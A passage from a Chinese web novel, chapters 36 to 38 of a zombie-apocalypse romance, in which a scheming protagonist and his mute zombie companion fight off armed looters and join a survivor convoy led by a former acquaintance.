窗外传来连绵不绝的敲击声夹着窃窃私语响起。 不知何时,魔藤还是偷摸追了过来。 闻言,男人下意识的抬手摸了一下脸,那种湿濡柔软的感觉仍残留在面皮上。 腹腔间仿佛沉着酸雨,又像是熔浆,无法吐出,令他不适。 他指尖用力撕出口子,想要将那种感觉祛除。 察觉到男人没有反应,魔藤分裂出细丝,准备砸碎面前的玻璃。 男人瞥了一眼,在空中蓄力的细丝瞬间凝滞了动作。 ——他和父亲可不一样,答应他的,必须要做到。 玻璃窗缓缓下降,魔腾猛地钻了进去。 来到了青年的位置,缠绕勒紧,沉迷的蹭着那柔嫩的唇瓣。 尖锐的刺冒出,扎在唇上,颗颗血珠冒出又被贪婪吮吸干净。 厉屿也仿佛品尝到了那甘美的血液,他的神情有着一瞬间的恍惚,不自觉的朝着青年贴了过去。 青年一无所知。 第36章 第 36 章 蛋炒饭。 翻到的车子随处可见, 而路旁游荡的丧尸经过一个晚上,脸上和身上已经开始出现了腐烂,还有不知道什么植物和动物与人体结合在一起,瞧起来格外惊悚。 一辆黑车由远及近匀速行来, 驾驶位的男人穿着黑色风衣, 面容冷冽肤色灰白, 乍一看去, 仿佛是一具尸体在开着车子。 而副驾驶放平的座椅则是一团白色的毛绒团子,仔细看去, 才能看清那是一个身形修长的人在蜷缩侧睡,毛毯遮住了他的大半张脸,只有浓密眼睫安静的覆在眼下。 楚青琅是被热醒的。 有身形下滑,将脸埋的更深,但是薄薄的眼皮完全阻挡不了越发盛烈的阳光。 于是干脆睁眼。 只觉得睡得异常舒坦, 筋骨都仿佛睡麻了。 他动了动身子,想要伸个懒腰,却突然察觉四肢都被禁锢住, 完全无法动弹分毫。 再一低头, 困住他的分明是毛茸茸的毯子, 将他裹的严实。 楚青琅有些发懵,好半晌才反应过来, 这是自己的杰作。 他悄悄瞄了一眼在旁边开车的男人, 见他面无表情,仿佛并没有察觉到他的举动,才小心翼翼的挣扎起来。 这也太丢人了! 自从远离厉屿那个神经病之后,他都松懈了不少。 终于,楚青琅把身上的毛毯给掀开, 解放了自己。 他转身,将东西扔到后座,调整好座位轻咳了一声。 厉权这才把视线放到他的身上。 男人做出口型:“醒了?” 楚青琅笑着点了点头,“辛苦你了,等下换我来开车,你休息一会。” 男人摇了摇头,拿起手机单手打字。 “不用,我不会累。” 既然他都这样说了,楚青琅也就心安理得的受了。 阳光下,他笑得愈发温柔,“虽然这样说,我们还是休息一下吧,顺便洗漱一下。” 楚青琅举起手嗅了嗅,瘪了瘪嘴道:“我感觉我都臭了。” 仿佛自从答应昨天的话之后,青年在他面前的态度就越发的软和起来,一点都不吝啬撒娇卖乖。 男人并未回话,他瞧着前方的柏油路,目不转睛,很快,又开了十几分钟,车子缓缓在路边的商店前停驻。 楚青琅正准备拉开车门下车,就感觉到一阵冰凉袭来。 下颌被抬起,男人凑到他的面前,拇指贴住他的唇,轻轻摩擦,眉下一双浓黑眼眸极为深邃。 楚青琅嘶了一声,他后仰身子捂住了嘴,疑惑道:“好痛,怎么回事?” 厉权松开了手,低头打字。 “空气太干了,你需要多喝水。” 楚青琅将信将疑的摸了摸唇,点了点头下了车,去后备箱取水。 * 对面楼的房顶上,圆形的玻璃反射着光芒,接着一阵晃动,消失。 “大王!”猴子甩下两张牌,没有在乎桌子旁兄弟们的表情,看着自家二哥收回望远镜,疑惑问道:“老二,怎么了?” 蹲在墙边脸型方正粗狂的男人啐了一口唾沫,夹着烟说:“一个富家少爷,拿着矿泉水洗漱,刚刚我看他掀开的后备箱,里面可是有不少吃的,想必也有着不少钱。” 一个长发男人夹着牌,慢悠悠的挑选着牌面,跟着说:“老二你还想着这末日会结束啊,现在要钱有屁用,还不如多囤点吃的喝的,到时候,有大用呢。” 猴子踩着凳子勾着背,嘻嘻道:“小四子说的不错,老二,要不是这末日我们还能这么潇洒?早就被讨债的给弄死了,看来老天还是眷顾我们的,关键时刻他们突然变成了丧尸,反而被我们弄死了。” 老二吐着烟,哑声说:“我们不能一直呆在这里,别的人不是变成丧尸了就是都逃了,我们的物资也不多了,干脆一不做二不休——干掉他们!” 长发男人掀起眼皮,指了指他,“我看是你这家伙又犯病了,怎么?好看啊?” 蹲在墙角的男人咧开嘴笑了笑,摸了摸脖子站起身,腰间挂着一把枪,“别打了,我们一起活动活动筋骨,那年轻的归我,剩下的物资还有车,你们随便安排。” 这话一出,稀稀拉拉的笑声就响了起来。 不过他们也没有说什么,只是带着残虐的笑意一起起身,每个人的脖颈间都挂着一把枪。 猴子最后把手中的牌一撂,“别急啊,他们要是宁死不屈怎么办?” 长发男人拉长声音道:“老办法咯,有钱人总是怂货不是嘛,先把那些猪猡给弄死,反正你也玩腻了。” 只剩背影的壮汉遥遥说了一句,“随你,动作利索点。” 一旁的金属笼子被打开,突然爆发的哭泣的声音尖锐刺耳。 楚青琅若有所思的抬头。 他握紧手中的瓶子,疑惑的看向身侧的男人,“厉先生,你有没有听见什么声音?” 厉权眼珠转动,顺着声音传来的方向瞧了过去,良久,他摇了摇头。 楚青琅哦了一声,放下了心中的疑问,他靠在车旁,又喝了两口水,“厉先生,你不要吃些东西吗?” 他歪了歪头,又问:“丧尸可以吃东西吗?” 虽然他知道丧尸吃不了东西,但是这不妨碍他问一句,顺便演一演体贴。 厉权拿出手机打字。 “不用。” 楚青琅眨了下眼,笑得温柔,他伸出手勾了勾座椅上的食材,塑料袋发出哗啦啦的声音。 他说:“那我想吃热的,蛋炒饭。” 他们停下的地方本来就是一条小吃街,里面锅碗瓢盆俱全。 厉权品出他的潜台词,微微眯了眯眼,冷峻的表情有些微崩。 都怪那双眼睛太会欺骗人了,他竟然真的以为青年在关心他。 楚青琅眼巴巴的瞧着他。 之前在厉宅,厨师做的饭虽然好吃,但是他一直心中压着事情,所以并没有全身心的品尝饭菜,而现在睡饱了,又洗漱了,身体就叫嚣着饥饿。 虽然有压缩饼干什么的,但是之前他吃了,那种干涩的味道简直难以言喻,他从来没想过人类竟然还能有这么难吃的东西,要不是不忍心浪费粮食,他早就吐了出来。 反正完成任务又不急着一时。 他就是吃个饭而已。 楚青琅捂着肚子,男人的表情带上了些许的无奈,但还是拿起了他早就准备好的食材,朝着空荡荡的饭店走去。 阳光悠然洒落,楚青琅喝下最后一口水,将塑料瓶扔下,迈步准备跟上去。 “砰!” 枪声骤然响起,打在了身后的柏油路上。 楚青琅顿住了脚步,他转身望去。 远处的枪口随着他的动作偏移,枪口后,是五六个邋里邋遢的男人。 最前面站着一个壮汉,嘴中叼着一根烟,神情呆滞。 站在后面的猴子爆出粗口:“卧槽!这么帅!” 青年面上温柔的笑还未褪去,阳光下蓝宝石一般的眼睛漂亮极了,听见他的话后,仿佛愣了一下,随后温声回道:“谢谢?” 叼着烟的壮汉下意识接话:“不客气不客气。” 一旁的长发男人收回惊艳的眼神,恨铁不成钢的瞪了一眼壮汉,上前一步端着枪冷声道:“滚开,把车子钥匙交过来,从现在开始,这辆车子就是我们的了!” 楚青琅唔了一声,突然道:“你们是在抢劫吗?” 壮汉仿佛回过神来了,他恶狠狠的说:“就是抢劫,看见我手上的枪没,这可是真家伙,要是想要活命就给我滚一边去!!!” 身后的猴子钻出个脑袋,咧开嘴:“我们知道你有同伴,告诉你,我们的人还有呢,你要是不想你的同伴被爆头,就快点交出来!” 仿佛是为了呼应他的话,又一声枪响猝然响起,眨眼间就击碎了饭店的窗户,里面传来了一阵沉闷的东西倒地声。 青年脸色微白,脑海中有不详的想法闪过,他下意识的大喊:“厉先生?!” 又懊恼的闭上了嘴。 厉权无法开口说话,就算是真的出了什么事情,也无法通知他 青年仿佛有些无措,但还是强装镇定道:“只要我不反抗,你们不会伤害我们吧?” 对面几人对视了一眼,长发男人笑嘻嘻道:“当然。” “钥匙就在车子上。” 青年太好骗了,听见他们的回答姿势明显放松了许多,他在他们面前缓缓后退,似乎是想要去看看自己的同伴。 但是,一颗子弹却击中了他脚前的地面。 楚青琅停下脚步,他侧头,眼眸深处是并未动摇的冷静。 壮汉舔了舔唇,目光贪婪,“谁说让你走了?” 楚青琅偏头道:“你们还有事吗?” 壮汉举着枪靠近,身后长发男人上了车子,将白色的毛毯拿出来嗅了嗅,“可真香!” 说完,又将毛毯扔到地上,男人们笑着走过,将其踩的灰扑扑的。 一边,壮汉用坚硬枪口托起青年的下巴,犹带硝烟的枪管将柔软白皙的皮肤烫出红痕,脖颈修长,锁骨清晰,被衣领半掩。 青年神情惶然,仿佛白兔一般,眼眶瞬间泛起了红。 壮汉控制着枪口下移,拨弄了一下那领口,看着楚青琅的神情,口水都要流出来了。 他伸出手就想要碰那俊美的脸,“跟我走,我带你吃香的喝辣的,在这里只有枪才是硬道理,你那什么同伴早就死了。” 楚青琅伸手攥住那枪管,下移挡住伸来的手,语气轻柔下却带着浮冰般的寒意。 “真的吗?” 壮汉咽了咽口水,连连点头。 就在这时,伴随着饭香,一颗石子穿过缭绕的烟雾快速飞来,眨眼间穿透壮汉又要摸上去的手。 鲜血瞬间淌了满地。 “啊!!!是谁?!!” 慢了半拍剧痛才传来,枪支掉落在地,壮汉抱着手哀嚎出声。 穿着黑色风衣的男人,面无表情的端着一碗色香味俱全的蛋炒饭站在饭店门口,察觉到楚青琅的视线,无声道:“没事吧?” 楚青琅翘着嘴角,隐忍摇头,“我没事,厉先生也没事就好。” 要不是嗅见了饭香,确认厉权没事,他早就把人弄死了,还好他机灵没有破坏人设。 楚青琅笑弯了眼,握着枪管,将其掉了个头。 厉权走来,半拥着他,把手覆在他的手上,施力把枪口对准了壮汉。 冰凉温热相交,楚青琅疑惑看去,只见厉权干脆利索的替他按下了扳机。 “不要心软。” 暗红唇瓣轻动。 一旁被惊呆的人都抬起了枪支,还有人拔出了刀子,直接捅了过来。 楚青琅下意识的点了点头。 得到回应的厉权将蛋炒饭和枪塞给他,踩着壮汉的尸体,转身朝着那些人冲了过去。 指甲暴涨,额上青筋胀起,双眼瞬间变得猩红。 “丧尸啊!!!!” “快跑!!!!” 原本还准备开枪的人在看清他面容的瞬间心神俱裂,手一软扔掉枪就想要逃跑。 但是身后的人却仿佛幽灵一般,眨眼间收割了他们的性命。 只留下一颗颗无头尸体,喷洒着血液缓缓倒地。 楚青琅端着碗,用手挡住碗口,小心翼翼的退后了一步,免得里面的饭被血溅上。 他说:“厉先生,远一点!” 厉权的动作滞了下,默默点了点头。 不远处。 一路车队正朝着他们缓缓行来。 * “复哥,前面好像有什么动静!” 枪声极为特殊,一但听到就不会忽视,坐在副驾驶警戒的宋约挥手叫停了身后跟着的车,看向了后座闭眼浅眠的男人。 男人眉眼细长,浑身透着难以靠近的阴郁冷漠。 但是宋约知道男人是外冷内热的人,当初丧尸爆发,要不是碰见了复哥,他早就被丧尸咬死了。 按理来说,当丧尸潮来临的时候,依照复哥的身手是完全可以自己离开这里的,但是不知他在寻找着什么,一直没有动身的心思,要不是他催促劝说,复哥还有可能一直在在这里呆着。 男人并没有回应,宋约又问:“我们要不要绕路?复哥?” 他们并不是打不过他们,但是他们的队伍中老弱占了一大部分,所以先前碰到这种情况,一向是能避开就避开,实在避不开,复哥一出马也能直接把事情解决。 在宋约的询问下,何复掀了掀眼皮。 他说:“别耽误时间。” 宋约干脆的点头,得到他的允许,车队很快就动了起来,径直朝着声音来袭的方向前进。 黑黢黢的瞳孔半掩,男人瞧着玻璃窗前浅金色的阳光,一动不动。 手指悄然上移,他又抚了抚脖子,几乎能够感受到那日复一日传来的灼热与疼痛。 他神情迷惘的喃喃: “不是说祸害遗千年吗?” 第37章 第 37 章 白皙皮肉。 楚青琅看着厉权在下面把那些尸体都搬到了一起, 坐在车上端着蛋炒饭吃的香甜。 令人想象不到的是,厉权一个有钱人,竟然还会自己做饭,而且做的还很不错。 白瓷碗中, 油脂裹在每一粒米上, 颗颗分明, 再加上一些小葱点缀, 让人食欲大动。 楚青琅吃了一会儿后,叫了他一声, “厉先生,上来吧,别管那些尸体了。” 刚把最后一具尸体扔过去的厉权直起身,嗯了一声。 看他走来,楚青琅连忙将手中的饭放到一旁, 伸出脚抵住了他的胸膛,“厉先生,要洗手。” 阳光温柔的将青年拥进怀中, 他笑意盈盈, 朝厉权摊开了一只手。 白皙皮肉和细长骨骼极为贴合, 又因为养的好,还带着几分软软的感觉。 厉权垂眼, 搭了上去。 修长指尖按住手腕, 可以感受到下方脉搏平稳的跳动。 他做出口型问:“你不害怕?” 楚青琅拧开矿泉水浇了上去,然后细致的揉搓起上面的血渍。 他反应了一下才明白厉权说的是什么,瞬间笑弯了眼道:“我知道厉先生是为了保护我才杀了那些人的,我怎么会害怕呢?” 厉权眼底讽意一闪而逝,他下意识的蜷了蜷手指, 敏感的神经在清澈冰凉的水流的冲刷下不断绷紧。 清水洗完之后,楚青琅看着他手上和脖子上的伤痕,想起了自己之前拿过来的绷带。 这刚好可以用上。 楚青琅微微放下手,扭身向着后座寻去。 漆黑的皮革座椅上,被毛茸茸的毯子和一些吃的喝的塞满。 楚青琅翻找着,终于在一提水和面包的间隙里找到。 他用指尖勾着那绷带和药物,带到了自己的膝盖上。 淡黄色的药粉先撒上,柔软的白布一层层的将狰狞伤口裹上,最后,在末端系上一个蝴蝶图案。 青年密长的眼睫疏出些微的阴影投在眼下,里面蓝莹莹的光芒若隐若现,带着认真,专注。 厉权死死的望着,将那温柔虔诚全然看作猎户屠杀切割前的最后安抚。 他只感觉自己变成了一块肉,正被保鲜膜寸寸覆盖,无处呼吸,任人宰割。 仿佛被刺激到了,又或者是心中的恶意让他想要瞧见面前人恐惧的模样。 厉权反手握住楚青琅的手,将其拽到自己面前,展露了些许真实。 双眸猩红,脸侧裂开一道长口,尖利牙齿长出,配上那灰白的肤色,仿佛恐怖片的怪物伫立在楚青琅面前。 但是楚青琅却只是疑惑的看着他,还叹了一口气抚了抚他的侧脸,“别担心,无论你变成什么样子,对我来说,你只是厉先生。是一直保护我,照顾我的人。” 温热的,人类的体温几乎渗入血液,厉权看着他,被烫了一般,神情怔忪的退后了半步。 那种温暖脆弱的感觉,还有来自青年身上香甜的气息,让他用了极大的力气来克制被他囚在身体内的魔藤。 不可相信他。 厉权仿佛人偶一般,任由青年拿起他的另一只手。 不可相信他。 面前这个虚情假意将他变成这副样子的青年,必须要承受痛苦,必须要体会他先前经历的一切,然后在生不如死中死去。 他必须忍耐,不可相信他。 楚青琅完全不知道面前的人所转悠的念头,他只是满意的看着那血渍从手上消失,然后被绷带包扎好,笑着说:“好了,我们走吧。” 每日任务完成。 他很清楚自己的定位,他现在就是一个抱大腿的花瓶,只要每天说一些甜言蜜语哄一哄这条大腿,让他安心的和自己去a市就可以。 就在他收回手的时候,厉权却忽地伸手将他从车子上抱了下来。 一声声震耳欲聋的枪声响彻云霄,一颗颗子弹毫不留情的穿透了后车玻璃打在皮质座椅上。 楚青琅连忙扭头,一眼就瞧见了那还没吃完的蛋炒饭被击中,金灿灿的饭粒洒了一地。 他的蛋炒饭 身后传来汽车刹车的声音,还有一阵纷乱的脚步声夹杂着惊呼。 “怎么了?!” “是丧尸!” “你们快看那边的尸体,不是说丧尸不会对自己的同类出手吗?难道进化了?” “谁知道,那个丧尸的人形保持的这么完整” “他还抱着一个人。” “管他呢!开枪!算他命不好!!” 很明显,这是一个误会。 厉权看着一批年轻人持着枪从车上下来,神情一下子冷了下来。 刚好,他和他的宠物,都很烦躁。 杀光他们,就当下火了。 厉权将楚青琅放下,上前一步挡在了他的身前。 浓黑眼眸渐渐转为红色,指甲缓缓变长,一棵青色藤蔓从他脸侧浮现生长,寄生花如蛇一般蔓延,垂在肩头。 楚青琅愤愤瞧过去。 他们这里面谁像丧尸啊?! 噢厉权确实像。 但是怎么就能不分青红皂白的就朝他们开枪,要不是有厉权,他早就被打成筛子了。 对峙间,一个人从车子上走了下来,穿过人群,来到了两人面前。 手中握着一把手枪,神情冷漠,周围的人在瞧见他下车的瞬间,面上都带了信任的神色。 看起来像是老大,就是气质阴郁了点。 楚青琅眨了下眼,有些意外的拽住了厉权的衣角。 是何复? 但是他怎么会变成现在这样? 剧情中原身到了a市之后,厉权意外死亡,他一个人手无缚鸡之力没办法活下去,就攀上了当时一个组织的老大。 原来这个人就是何复啊。 剧情里面并没有提及那个人的姓名,只是着重提及了他脖颈上的烧痕还有一双阴狠细长的眼眸,这才导致楚青琅再刚来到这个世界的时候,没有把当时还正常的何复和剧情中的人对上号。 更何况当时的何复虽然是同样的脸,但是并没有现在站在他面前,手拿枪械一般阴冷的气息。 既然这样 楚青琅眯了眯眼,他向前一步,将厉权挡在身后,率先和对面打起了招呼。 “复哥,好久不见。” 两人对视,对面的男人原本漫不经心的神色瞬间龟裂,他抬起手似乎是想要摸自己的脖子,但是又很快克制住。 众人弯曲手指就要扣下扳机,但是在按下的瞬间,只觉得浑身汗毛都竖立了起来,他们下意识僵直了动作。 就这一耽误,他们也发觉了不对。 青年的面容分明是一个人类,在他身后那个被误以为是丧尸的人,仔细看去,除了肤色有些苍白,脸上伤口多了点,像死人了一点,但是眼睛是黑的,也没有什么危险的举动。 应该可能也是一个人类? 要是路上碰见他们也许会直接射杀,但是挡在男人身前的人分明认识自家老大,而且老大也不是因为什么熟人就放过丧尸的性子。 周围的队友面面相觑,询问的看向了一旁的宋约。 宋约举着枪抬头看着身旁虽然沉默,但是已经有了极为明显的神情波动的人,心中若有所思,面上一下子笑了起来,朝着周围压了压手,示意他们把枪收起来。 “看来是误会,误会。”他对着楚青琅道:“帅哥,你和我们老大认识啊?” 楚青琅同样含笑回复:“是啊,我们是朋友。” 他又看着一直沉默的何复,说:“复哥,你说是不是?” 面前的青年一如既往,眉眼弯弯,一双蓝眼睛闪着璀璨光芒,仿佛不是在末日相见,而是在那个楼梯口,突然凑了过来。 何复下意识的想要出言讥讽,但是又想到什么一样将话吞了回去,他声音平淡,“楚青琅,你竟然还没死?” 楚青琅面上的笑容瞬间扩大,语气一如既往的柔软:“复哥说什么呢,还要多亏了你介绍我和厉先生认识,我才能活到现在呀。” 他语气和面对厉权是一样,甚至因为不带慎重而更为亲密。 厉权抬眼,将视线投过去,正巧和何复黑黢黢的眼眸撞上。 两人是面上是相似的冷漠敌意,只是一人冷冽一人阴狠。 厉权上前一步,揽住了楚青琅的腰肢,修长大手指节弯曲,几乎握住青年的整个腰身。 面上魔藤已经被重新按下,他朝着对面礼貌颔首,露出一抹冷又优雅的笑。 那伤口被肌肉牵扯,带着诡秘的狠厉,扫视中,让一些对他身份心生怀疑的人瞬间打消了念头。 丧尸应该不能露出这样生动的表情。 厉权暗中用指尖在青年腰侧划动。 “他,是谁?” 楚青琅被那或轻或重的划动弄的腰肢酥软,他不适地握住厉权的手,将其从腰间移开,小声回答:“是之前娱乐圈一起演戏的朋友,就是因为他,我才能见到厉先生呢,因此我很感激他。” 何复闻言,伸手便在他的脚下放了一枪。 厉权瞬间想要控制魔藤攻击,却在察觉到他并无恶意时压下了冲动。 只是轻巧的带着楚青琅后退了一步。 子弹钻进地面,形成一颗不起眼的小洞。 楚青琅面色微白的收回视线,只见何复阴着一张脸,缓缓扫了他们以及周围的尸体一眼。 他说:“看来你过得不错,找到了一个能够徒手砍断人脑袋的,保护者?” 最后三个字吐露出来的时候,话语中混着嘲讽似的笑意,丝毫没提自己是怎么寻找着他。 楚青琅没有听懂一般,笑的温雅,他诚恳的道:“怎么会是徒手呢,复哥你电影看多了吧,当然是有刀啦。” 菜刀也是刀。 他抬头,看着厉权,含情脉脉说:“是吧,厉先生。” 厉权点了点头。 何复看着他们的表现,收回枪,冷笑一声,转身上了车子。 宋约挠了挠头,看着面前卿卿我我的两人,又看了一眼怒气飙升的老大,心里的猜测沉底,他不由得为自己老大默哀。 看来是三角恋,他们老大还是暗恋。 他挥手道:“都散了,都散了,启程吧。” 坐到车子上之后,看着明显变得更加阴郁的男人,宋约轻咳了一声,“复哥,要不要邀请你朋友一起啊,这一路上不太平啊,那些鬼玩意好像能进化,还有那些变大地动植物,要是就只有他们两个人的话没准会碰见什么危险。” “我看那个厉先生虽然高,但是面色不好,怕不是生病了,而那个帅哥一看就是没有什么战斗力的,要是被那玩意咬中了不就坏了。” “再说复哥你找他那么久了——好,我闭嘴,闭嘴。” 椅背猛地被踹了一脚,宋约差点栽到车窗上,他连忙闭上了嘴。 他可已经尽力了,要是追不上可不能怪他。 老大怎么杀丧尸那么利索,追人却这么优柔寡断。 虽然那个什么厉先生一看就很帅很成熟,但是他们老大也不差好吧,车队里面有不少人喜欢他这一款高冷帅哥,武力值还高,一看就很有安全感。 何复微微睁开了眼,一眼就瞧见了青年被搂着转身上车的背影,姿态信赖,神情温软。 从刚开始见面,没有对他表示过关心,没有问过他的处境。 仿佛对他毫无感情。 假如不出现在他面前的话,青年这辈子都可能想不起有他这么个一个人吧。 摆着一副和善温柔的面孔,实际却是利益至上,用完人就甩。 真该死。 何复重新闭上眼,也不知在骂谁。 * 楚青琅没有在意身后的目光,虽然那个人也是他之后需要用到的人,但是目前最为重要的,还是他现在的任务。 对于提前碰见剧情人物,楚青琅并不像之前那样紧张。 他猜测,这次可能是因为他在厉家待的时间久了一些,所以才直接和人撞上了。 楚青琅靠在新拿的毯子上,坐在了后面。 副驾驶上面的蛋炒饭被打翻了,虽然已经被厉权收拾过了,但是还是有着一股子味道,他当然不能再坐。 至于换个车,这周围的车子坏的坏,没钥匙的没钥匙,因此楚青琅他们只能先用着现在的车子,准备到后面看到合适的车子再换。 发动机轻微地轰鸣声后,周身传来轻微的晃动,楚青琅靠在车窗上,忽地道:“我们跟着他们吧。” 厉权回头,他笑着说:“人多力量大,厉先生,你一直用那种力量对身体也不好。” 他声音放缓,尾音拉长,带着似有若无的缱绻。 “而且我担心丧尸病毒会侵蚀你,到时候,你再被厉屿控制,会变得不像你了。”他说:“别让我担心好不好?” 厉权瞳孔微微扩大,他身躯绷紧,仿佛碰见了什么敌人一般,咬紧了后牙。 但是在那双眼睛的注视下,他很快反应过来,强制自己放松了身体,无声道: “好。” 厉权回头。 搭在方向盘上修长手指弯曲,突出的骨节青白,脸侧皮肤下仿佛有东西在蠕动。 【担心我,担心我,担心我。】 【喜欢,喜欢,喜欢,喜欢,喜欢,喜欢。】 “啪!” 他放下手,重新紧握方向盘。 后视镜映出青年惊愕的表情。 厉权慢吞吞地打字。 “有虫子。” 楚青琅眨了下眼,欣然接受了这个敷衍的理由。 于是两人就这样开着这辆玻璃全碎的车子,慢慢悠悠地跟着何复的车队后。 * 何复的车队是由着两辆小型改装过的轿车和一辆中型厢货改成的,厢货车里面都是普通人,在厢货顶还有着手拿机枪的人警戒。 他们并没有放缓速度的意思,只是不管怎么加快速度,身后的那辆车子都死死的跟在后面。 到了最后,何复仿佛放弃了甩开他们,甚至刻意放缓了速度。 因为前面有人开道,所以楚青琅他们走的格外顺利。 一路上,伴随着丧尸的嘶吼和清脆的枪声,很快,他们就开上了高速公路。 到了这里,因为没有城市里面的高楼阻挡视野,除了丧尸,也不会再有人设下陷阱埋伏,所以众人因为警惕而绷紧的心都微微松懈了一些。 楚青琅安详的躺在后面,表面开始闭目养神,实际上却是在不断调整着自己的计划。 毕竟现在提前见到了一个剧情人物,他要好好想想倒地要怎么样才能发挥出何复的最大作用。 就在他沉思的时候,厉权却把车子缓缓停了下来。 楚青琅抱着毯子坐起身,只见前面的车队缓缓停了下来,货车后方紧闭的门也被打开,可以看见里面因为好奇而遥望过来的普通人。 他们并没有下车,只是小声的询问着一旁警戒的年轻人发生了什么。 年轻人摇了摇头,他的视线完全被货车遮挡,只是听见了一道刺耳的哭声。 楚青琅朝旁边望了望。 这条高速公路是双向六车道,中间被隔离绿化带分割,在另一旁,被遗弃的轿车被胡乱的堆放着,丧尸在里面穿梭,车子还有的冒着烟,仿佛随时要爆炸一般。 这是发生了什么? 楚青琅笑着对厉权道:“我去看看。” 厉权并未回复,只是转身就要打开车门,用行动表明了想要跟随的想法。 楚青琅却忽地凑近,趴在座椅中的缝隙中,接着他伸手捏了捏厉权削薄的耳垂。 苍白的软肉在他并没有减轻的力道下染上血色。 楚青琅含笑说:“厉先生在这里看着好不好?我不会遇到危险的。” 何复既然是他日后需要抱的大腿,那么现在就要先去确认一下他对他的态度。 厉权这个前大腿在,当然不方便。 厉权深深的瞧了他一眼,顺从的坐了回去。 楚青琅得到回应,收回手,打开车门走了下去。 在他未瞧见的地方,一根藤蔓倏地钻出,跟着他的步伐匍匐游动而去。 第38章 第 38 章 反出刺痛。 楚青琅下车后经过货车的时候, 有不少人看着他红了脸。 有一个带着枪的女孩子还兴奋的和他打起了招呼,口里小声的说着什么,像是粉丝。 楚青琅也礼貌的点头回应。 前面的几个人围成了一排,黑色的改装轿车前, 何复曲起一条腿坐在车盖上, 一脸的漠然按着太阳穴。 楚青琅走到他的身边, 透过缝隙看见了不远处的情形。 “说过了她没救了!滚一边去, 别在这里挡我们的路!” 男人将面前瘦小的男孩推到,枪口威胁的上下晃了晃。 但是面前的孩子却是连忙爬了过来, 朝着他们磕头,不断的重复着口中的话。 “求求你们了,救救我妈妈,她没有被咬,她身上的伤口就是车祸的伤口, 求求你们,求求你们。” “只要把妈妈从车子里救出来就可以了。” “” 警戒的年轻人纷纷上前了一步,一起驱逐道:“快走快走。” “你妈妈不行, 只有你, 你要是不跟我们走就自己在这里吧。” “对啊, 我们没有医生也没有药,就算拉人出来又能怎么样?” 虽然同样有人目露不忍, 但是他们看着不远处的车子, 还有逐渐暗下来的天色,还是硬下了心肠。 更何况,这个小孩说没有被感染就没有被感染啊,万一故意隐瞒怎么办? 何复察觉到有人靠近,不耐道:“滚。” “复哥, 是我。” 一道清悠的嗓音传来,他猛地睁眼,仿佛被吓了一跳的样子,放下手站直了身子。 他扭头看着楚青琅,瞬间冷下了面容,哑声道:“你来干什么?” 楚青琅学他坐在车盖上,闻言无辜的瞧了过去:“我担心出什么事情,复哥怎么总是对我这么凶?” 何复像是想要嗤笑,但是唇挑起,又很快扯平嘴角,他黑色的眼眸情绪复杂,“楚青琅,现在不是你耍些手段就能得到你想要的东西,世界已经变了。” 他最终还是冷冷的笑了下,“不是所有人都像我一样对你无可奈何,任你耍弄。” 楚青琅歪了下头,他蓝色的双眼透彻,如天空一般明净,配上那张俊美面孔,仿佛天使一般,“怎么把自己说的和狗一样。” 他倾身,伸手点在那脖颈上连绵的烧伤。 “你知道吗?复哥,这就是你最好玩的地方啊。”楚青琅语气温柔,“这下面是烟疤?” 何复深深的看了他一眼,所有的情绪在瞬间收敛起来,他后退了一步,躲开他的手,语气恢复了平淡:“你的身边不是已经跟着一条狗了,别招惹我。” 楚青琅收回手,漫不经心说:“唔,复哥要和我绝交吗?可是这样我会伤心的欸。” 何复声音彻底冷了下去,他平静的表情又一次崩裂,低吼道:“楚青琅,厉权不是那么好甩的,你要是不想被打断腿,就给我安分点!” 那时候,那个男人看过来的目光几乎让他感到悚然。 楚青琅失落道:“复哥,我只是想过来和你说说话,我一直很担心你。” “别生气了好不好?” 与此同时,他还用着无辜包容的眼神凝视过去。 何复胸廓起伏,被激的神经刺痛,他将牙齿咬的嘎吱响。 就是这个表情!又是这个表情! 何复下意识的想要掏枪,想把这个影响他的人弄死。 但是还没等他反应过来,刚刚挑起他怒火,又轻而易举的吐露出示好话语的人,已经悠然起身,朝着前面走去了。 何复站在车前,看着他的背影几次举枪,又都放下了手,最终一腔怒火还是自己硬生生的吞了下去。 楚青琅心情很好的笑弯了眼。 确认了,看起来这个何复还在掌控中。 当然,他完全没有把何复的话听进去。 虽然何复已经尽力压低了声音,但是前面偷摸瞧过来的宋约还是被吓了一跳。 看见那个从始至终都游刃有余的青年过来,他连忙回头,躲开了视线。 身旁的人看着那个男孩还是固执的哭诉着,他们仅有的耐心耗尽,上前就要架着男孩的双臂给他扔开。 男孩却猛地发出一声凄厉的哀嚎,胡乱的说着话挣扎起来。 随即,一只温热的手贴上了他的面颊,将他的脸捧住。 男孩颤抖着身体停住,透过杂乱的头发看见一双温和柔软的蓝眼睛,周围拉住他胳膊的手消失,男孩的四肢垂下,他却意识到什么一般,连忙张嘴。 “救救我妈妈,求你。” 楚青琅拨开他的发,看着他哭红的眼眸道:“好。” * 宋约忍受着身后刺过来的犹如实质的目光。 指挥着人过去将倒塌的车子拉了起来。 身旁,那个青年还在温柔的牵着小孩子的手,安抚着他。 楚青琅看着一个女人浑身鲜血的被救出,双眼紧闭,显然已经失去了意识。 如果现在到了A市,有医生的话,还是可以将人就活,但是现在的情况,估计难了。 毕竟车队不可能为了一个人就盲目的提高速度。 但是至少是一个希望,只能相信女人的求生欲望了。 他站起身,对着一旁的宋约说:“我们那里没有多余的位置,先把人放到你们车上吧。可以吗?” 宋约看了一眼他,犹豫道:“我去问一下复哥。” 楚青琅点头,看着宋约转身向着身后走去,随后指着他们低声说着什么。 何复遥遥望过来一眼,神情冷极了。 楚青琅却并不担心他不同意,毕竟在他的记忆中,何复是一个心软的人,当初他借着发烧,很快就接近了他。 就算是后来发现了他的目的,何复也只是嘴上不饶人,实际上没有曝光他一点的黑料。 就像他所想的那样,宋约很快回来,并且同意了此事。 楚青琅笑着道谢,随后牵着小孩朝着货车的方向走去。 “以后你和你母亲就在这里,等到了A市就有医生了。” “谢谢哥哥。” 楚青琅弯腰,想要将小孩抱上去,但是一只手横穿过来拦下了他,转头看去,厉权正面无表情的站在他的身侧。 “我来。” 他将楚青琅拉起,伸手揪着小孩的领子把人扔了上去。 看着小孩惊慌的模样,楚青琅连忙露出一个安抚的笑来。 他顺势挽上厉权的手臂,埋怨道:“轻一点呀,你把孩子吓到了。” 厉权垂眸,望着他“嗯”了一声。 * 路边,围绕着车子他们点燃几簇篝火。 众人分成几批下车,围成了一圈小口小口的吃着手中的食物。 他们所携带的食物并不多,而那些食物很多也是要优先供给警戒的人的,所以他们中间很多人已经一天都没有吃饭了。 